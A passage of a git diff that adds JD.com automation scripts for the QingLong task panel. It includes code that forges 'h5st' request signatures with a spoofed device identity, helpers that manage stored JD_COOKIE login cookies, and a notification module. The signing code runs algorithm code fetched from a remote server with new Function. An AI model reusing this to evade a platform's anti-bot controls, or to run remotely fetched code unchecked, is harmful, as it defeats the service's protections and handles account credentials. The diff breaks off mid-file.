+ const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + const enc = (["".concat(timestamp.toString()), "".concat(this.fingerprint.toString()), "".concat(this.appId.toString()), "".concat(this.tk), "".concat(hash2)].join(";")) + this.result['fingerprint'] = this.fingerprint; + this.result['timestamp'] = this.timestamp + this.result['stk'] = stk; + this.result['h5st'] = enc + let sp = url.split("?"); + let obj = qs.parse(sp[1]) + if (obj.callback) { + delete obj.callback + } + let params = Object.assign(obj, { + '_time': this.timestamp, + '_': this.timestamp, + 'timestamp': this.timestamp, + 'sceneval': 2, + 'g_login_type': 1, + 'h5st': enc, + }) + this.result['url'] = `${sp[0]}?${qs.stringify(params)}` + return this.result + } + token(user) { + let nickname = user.includes('pt_pin') ? user.match(/pt_pin=([^;]+)/)[1] : user; + let phoneId = this.createuuid(40, 'lc'); + + let token = this.md5(decodeURIComponent(nickname) + this.timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return { + 'strPgtimestamp': this.timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': token + } + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + createuuid(a, c) { + switch (c) { + case "a": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + break; + case "n": + c = "0123456789"; + break; + case "c": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + break; + case "l": + c = "abcdefghijklmnopqrstuvwxyz"; + break; + case 'cn': + case 'nc': + c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' + break; + case "lc": + case "cl": + c = "abcdefghijklmnopqrstuvwxyz0123456789"; + break; + default: + c = "0123456789abcdef" + } + var e = ""; + for (var g = 0; g < a; g++) e += c[Math.ceil(1E8 * Math.random()) % c.length]; + return e + } + async requestAlgo() { + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'jdpingou;iPhone;4.9.4;12.4;ae49fae72d0a8976f5155267f56ec3a5b0da75c3;network/wifi;model/iPhone8,4;appBuild/100579;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html?ptag=7155.9.4', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": this.fingerprint, + "appId": this.appId.toString(), + "timestamp": this.timestamp, + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + request.post(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + let result = data.data.result + this.tk = result.tk; + let enCryptMethodJDString = result.algo; + if (enCryptMethodJDString) { + this.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } + this.result = result + } + } + } catch (e) { + console.log(e) + } finally { + resolve(this.result); + } + }) + }) + } +} +module.exports = jxAlgo diff --git a/function/ql.js b/function/ql.js new file mode 100644 index 0000000..31e4883 --- /dev/null +++ b/function/ql.js @@ -0,0 +1,204 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const fs = require('fs'); +let Fileexists = fs.existsSync('/ql/data/config/auth.json'); +let authFile=""; +if (Fileexists) + authFile="/ql/data/config/auth.json" +else + authFile="/ql/config/auth.json" +//const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/function/sendNotify.js b/function/sendNotify.js new file mode 100644 index 0000000..2b316f7 --- /dev/null +++ b/function/sendNotify.js @@ -0,0 +1,2499 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) + +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +let strAuthor = ""; +const { + getEnvs +} = require('./ql'); +const fs = require('fs'); +let strCKFile = '/ql/scripts/CKName_cache.json'; +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("加载sendNotify,检测到别名缓存文件,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} +let strUidFile = './CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod') { + console.log(`开始发送通知...`); + try { + //Reset 变量 + console.log("通知标题: " + text); + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + return; + } + } + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + let titleIndex = notifySkipList.findIndex((item) => item === text); + + if (titleIndex !== -1) { + console.log(`${text} 在推送黑名单中,已跳过推送`); + return; + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + const TempList = text.split('- '); + if (TempList.length == 3) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`别名反查PtPin成功:` + strPtPin); + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strPtPin}\n当前等级: 30\n已自动领取最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->优惠券->京券`, strPtPin); + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + } + } + } else { + console.log(`尝试一对一推送失败,无法捕获别名...`); + } + } + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + const notifyGroup2List = process.env.NOTIFY_GROUP2_LIST ? process.env.NOTIFY_GROUP2_LIST.split('&') : []; + const titleIndex2 = notifyGroup2List.findIndex((item) => item === strTitle); + const notifyGroup3List = process.env.NOTIFY_GROUP3_LIST ? process.env.NOTIFY_GROUP3_LIST.split('&') : []; + const titleIndexGp3 = notifyGroup3List.findIndex((item) => item === strTitle); + const notifyGroup4List = process.env.NOTIFY_GROUP4_LIST ? process.env.NOTIFY_GROUP4_LIST.split('&') : []; + const titleIndexGp4 = notifyGroup4List.findIndex((item) => item === strTitle); + const notifyGroup5List = process.env.NOTIFY_GROUP5_LIST ? process.env.NOTIFY_GROUP5_LIST.split('&') : []; + const titleIndexGp5 = notifyGroup5List.findIndex((item) => item === strTitle); + const notifyGroup6List = process.env.NOTIFY_GROUP6_LIST ? process.env.NOTIFY_GROUP6_LIST.split('&') : []; + const titleIndexGp6 = notifyGroup6List.findIndex((item) => item === strTitle); + + if (titleIndex2 !== -1) { + console.log(`${strTitle} 在群组2推送名单中,初始化群组推送`); + UseGroupNotify = 2; + } + if (titleIndexGp3 !== -1) { + console.log(`${strTitle} 在群组3推送名单中,初始化群组推送`); + UseGroupNotify = 3; + } + if (titleIndexGp4 !== -1) { + console.log(`${strTitle} 在群组4推送名单中,初始化群组推送`); + UseGroupNotify = 4; + } + if (titleIndexGp5 !== -1) { + console.log(`${strTitle} 在群组5推送名单中,初始化群组推送`); + UseGroupNotify = 5; + } + if (titleIndexGp6 !== -1) { + console.log(`${strTitle} 在群组6推送名单中,初始化群组推送`); + UseGroupNotify = 6; + } + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + } + if (strCustom) { + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1] == "组1") { + console.log("自定义设定强制使用组1配置通知..."); + UseGroupNotify = 1; + } + if (strCustomTempArr[1] == "组2") { + console.log("自定义设定强制使用组2配置通知..."); + UseGroupNotify = 2; + } + if (strCustomTempArr[1] == "组3") { + console.log("自定义设定强制使用组3配置通知..."); + UseGroupNotify = 3; + } + if (strCustomTempArr[1] == "组4") { + console.log("自定义设定强制使用组4配置通知..."); + UseGroupNotify = 4; + } + if (strCustomTempArr[1] == "组5") { + console.log("自定义设定强制使用组5配置通知..."); + UseGroupNotify = 5; + } + if (strCustomTempArr[1] == "组6") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 6; + } + + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + + } + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + + switch (UseGroupNotify) { + case 1: + if (process.env.GOBOT_URL && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL; + } + if (process.env.GOBOT_TOKEN && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN; + } + if (process.env.GOBOT_QQ && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ; + } + + if (process.env.PUSH_KEY && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY; + } + + if (process.env.WP_APP_TOKEN && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN; + } + + if (process.env.WP_TOPICIDS && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS; + } + + if (process.env.WP_UIDS && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS; + } + + if (process.env.WP_URL && Use_WxPusher) { + WP_URL = process.env.WP_URL; + } + if (process.env.BARK_PUSH && Use_BarkNotify) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`; + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND; + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP; + } + } else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1 && Use_BarkNotify) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + } + if (process.env.TG_BOT_TOKEN && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; + } + if (process.env.TG_USER_ID && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID; + } + if (process.env.TG_PROXY_AUTH && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; + if (process.env.TG_PROXY_HOST && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST; + if (process.env.TG_PROXY_PORT && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT; + if (process.env.TG_API_HOST && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST; + + if (process.env.DD_BOT_TOKEN && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } + } + + if (process.env.QYWX_KEY && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY; + } + + if (process.env.QYWX_AM && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM; + } + + if (process.env.IGOT_PUSH_KEY && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY; + } + + if (process.env.PUSH_PLUS_TOKEN && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; + } + if (process.env.PUSH_PLUS_USER && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip; + } + if (process.env.PUSH_PLUS_USER_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip; + } + if (process.env.GOTIFY_URL) { + GOTIFY_URL = process.env.GOTIFY_URL; + } + if (process.env.GOTIFY_TOKEN) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN; + } + if (process.env.GOTIFY_PRIORITY) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY; + } + + break; + + case 2: + //==========================第二套环境变量赋值========================= + + if (process.env.GOBOT_URL2 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL2; + } + if (process.env.GOBOT_TOKEN2 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN2; + } + if (process.env.GOBOT_QQ2 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ2; + } + + if (process.env.PUSH_KEY2 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY2; + } + + if (process.env.WP_APP_TOKEN2 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN2; + } + + if (process.env.WP_TOPICIDS2 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS2; + } + + if (process.env.WP_UIDS2 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS2; + } + + if (process.env.WP_URL2 && Use_WxPusher) { + WP_URL = process.env.WP_URL2; + } + if (process.env.BARK_PUSH2 && Use_BarkNotify) { + if (process.env.BARK_PUSH2.indexOf('https') > -1 || process.env.BARK_PUSH2.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = 